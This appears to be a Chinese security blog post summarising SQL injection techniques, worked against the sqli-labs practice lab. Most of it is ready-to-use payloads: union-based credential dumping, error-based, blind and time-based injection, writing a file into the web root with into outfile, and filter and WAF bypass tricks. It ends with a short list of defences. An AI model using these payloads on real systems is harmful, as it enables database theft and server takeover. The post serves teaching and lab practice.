SQL注入思路总结

VSole2022-07-23 22:28:37

1.SQL注入的业务场景及危害

1.1 什么是SQL注入

SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改成功执行的行为称为SQL注入。

1.2 为什么会有SQL注入

  • 代码对带入SQL语句的参数过滤不严格
  • 未启用框架的安全配置,例如:PHP的magic_quotes_gpc
  • 未使用框架安全的查询方法
  • 测试借口未删除
  • 未启用防火墙,例如IPTABLES。
  • 未使用其他的安全防护设备,例如:WAF

1.3 SQL注入的业务场景以及危害

包括登陆功能、搜索功能、详情页、商品购买等

危害包括数据库泄漏:数据库中存放的用户的隐私信息的泄漏;

网页篡改:通过操作数据库对特定网页进行篡改;

网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。

数据库被恶意操作:数据库服务器被攻击,数据库管理员账户被篡改。

服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。

1.4 Mysql内置函数


mysql 运算符(算术运算符、比较运算符、逻辑运算符)

1.5 SQL注入流程

1.6 SQL注入的分类及注入方法

按照请求方法进行分类:

  • GET型注入

Step1: 猜解列数http://127.0.0.1/sqli/Less-2/?id=1%20order%20by%203%20#

Step2: 猜解数据库名http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%23

Step3:猜解表名:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%23

Step4:猜解列名:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273%23

Step5:读数据:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(concat_ws(0x3a,username,password)),3%20from%20users%23

  • POST型注入

按照SQL数据类型分类:

  • 整型注入
  • 字符型注入

其他的数据类型:

  • 报错注入

查询当前版本:' union select 1,extractvalue(1,concat(0x7e,(select version())))#

使用“extractvalue”函数查询当前表名:' union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))#

使用"updatexml"函数查询当前php版本:' union select updatexml(1,concat(0x7e,(select version())),1)#

使用“updatexml”函数查询当前表名:' union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)#

  • 双注入 Lesson11

查询版本:admin' union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),version())#

查询数据库名:admin' union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select table_schema from information_schema.schemata limit 0,1))#

  • 时间盲注 Sleep(1)函数

猜测表名:?id=1 or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1)>0,sleep(2),0)#

也可用ord( )

  • 布尔盲注 Lesson-5

猜测版本:id=1' or (select substr(version(),1,1)='5') #

猜测数据库名:id=1' or (select ascii(substr(table_schema,1,1)) from information_schema.schemata limit 0,1)>1#

猜测表名:id=1' or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='security' limit 0,1)>1#  可以用burp的intruder进行爆破

  • Cookie注入

和POST、GET注入一样,只是在Cookie中产生注入。

  • User-Agent注入

和POST、GET注入一样,只是在UA中产生注入。可能是其他SQL语句 例如insert、update等。需要进行灵活判断。

  • 二次编码注入

%2527 编码后变成%27 再解码变成' 就绕过了过滤。

  • 二次注入

在sqilab中第24关可以通过二次注入,重置admin密码。

  • DNSlog注入

1.7 SQL注入读写文件

load_file(file_name):读取文件并返回该文件的内容作为一个字符串,使用条件:

1.必须有权限读取并且文件必须完全可读

2.欲读取文件必须在服务器上

3.必须制定文件完整的路径

4.欲读取文件必须小雨max_allowed_packet

写文件 union select 1,2,"" into outfile "/var/www/1.php".

2.0注入绕过

2.1绕过注释符注入#

less-23/index.php?id=1' or (extractvalue(1,concat(0x7e,version()))) or '

2.2绕过and/or字符过滤

http://127.0.0.1/sqli/Less-25/index.php?id=-1‘ || (extractvalue(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1)))) ||’

2.3绕过空格过滤

%09 TAB 键(水平)

%0a 新建一行

%0c 新的一页

%0d return 功能

%0b TAB 键(垂直)

%a0 空格

/**/ 代替空格

2.4内联注释绕过

此题过滤了空格,select,#。

内联注释: /*!select*/

http://127.0.0.1/sqli/Less-27/?id=1%27%0aor%0a(extractvalue(1,concat(0x7e,(sElect%0aschema_name%0afrom%0ainformation_schema.schemata%0alimit%0a0,1))))%0aor%0a%27

2.5宽字节注入

主要原因是经常会出现这个过滤“\”,因此可以使用宽字节注入吃掉这个“\”。由于这个字符的hex是5c 所以可以用%865c进行绕过。

http://127.0.0.1/sqli/Less-32/?id=-1%86‘%20union%20select%201,version(),3%23

2.6 其他类型绕过

SQL注入防御手段

代码层

黑名单

白名单

敏感字符过滤

使用框架安全查询

配置层

开启GPC

使用UTF-8

物理层

WAF

数据库审计

云防护

IPS(入侵检测系统)

sql注入select
本作品采用《CC 协议》,转载必须注明作者和本文链接
SQL注入速查表
2022-07-29 09:22:37
现在仅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分样例都不能保证每一个场景都适用。现实场景由于各种插入语、不同的代码环境以及各种不常见甚至奇特的SQL语句,而经常发生变化。
id=3';对应的sqlselect * from table where id=3' 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 没有报错,说明存在3列爆出数据库:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出数据表:?id=1' and extractvalue--+(爆字段)?
id=1' order by 3# 没有报错,说明存在3列。id=-1' union select 1,group_concat,3 from 数据库名.数据表名--+拓展一些其他函数:system_user() 系统用户名。updatexml函数:细节问题:extractvalue()基本一样,改个关键字updatexml即可,与extractvalue有个很大的区别实在末尾注入加上,如:,而extractvalue函数末尾不加1(数值)?
sql注入原理:业务端代码从客户端接收到恶意payload之后没有进行过滤直接进行sql语句拼接并且执行造成sql注入本人正在拜读一本代码审计的书感觉非常的棒,刚刚好室友在挑战自己,就顺便整理一下知识点!看了一下也没问题,继续往下走,发现室友mybatis里的sql全部是使用$拼接的!
在云SQL上获取shell
2022-07-18 17:00:27
云上的关系数据库服务,它是由 Google 保护、监控和更新的SQL、PostgreSQL 或 MySQL的服务器。托管 MySQL 实例的限制由于Cloud SQL是一项完全托管的服务,因此用户无权访问某些功能。在MySQL中,SUPER权限保留用于系统管理相关任务,FILE权限用于读取/写入运行 MySQL服务器上的文件。
代码审计,说白了就是白盒测试,审查代码检查是否有安全问题,核心就两点:跟踪用户输入数据+敏感函数参数回溯。
未正确验证用户输入的应用程序使它们容易受到 SQL 注入的攻击。SQL 注入攻击 发生在攻击者能够通过操纵用户输入数据将一系列恶意 SQL 语句插入“查询”以供后端数据库执行时。使用这种类型的威胁,应用程序可以很容易地被黑客入侵并被攻击者窃取机密数据。
我见过的流量分析类型的题目总结: 一,ping 报文信息? 二,上传/下载文件 三,sql注入攻击 四,访问特定的加密解密网站 五,后台扫描+弱密码爆破+菜刀 六,usb流量分析 七,WiFi无线密码破解 八,根据一组流量包了解黑客的具体行为例题:一,ping 报文信息?如果是菜刀下载文件的流量,需要删除分组字节流前开头和结尾的X@Y字符,否则下载的文件会出错。
SQL手工注入总结
2021-11-11 08:19:35
虽说目前互联网上已经有很多关于 sql 注入的神器了,但是在这个 WAF 横行的时代,手工注入往往在一些真实环境中会显得尤为重要。本文主要把以前学过的知识做个总结,不会有详细的知识解读,类似于查询手册的形式,便于以后的复习与查阅,文中内容可能会存在错误,望师傅们斧正!
VSole
网络安全专家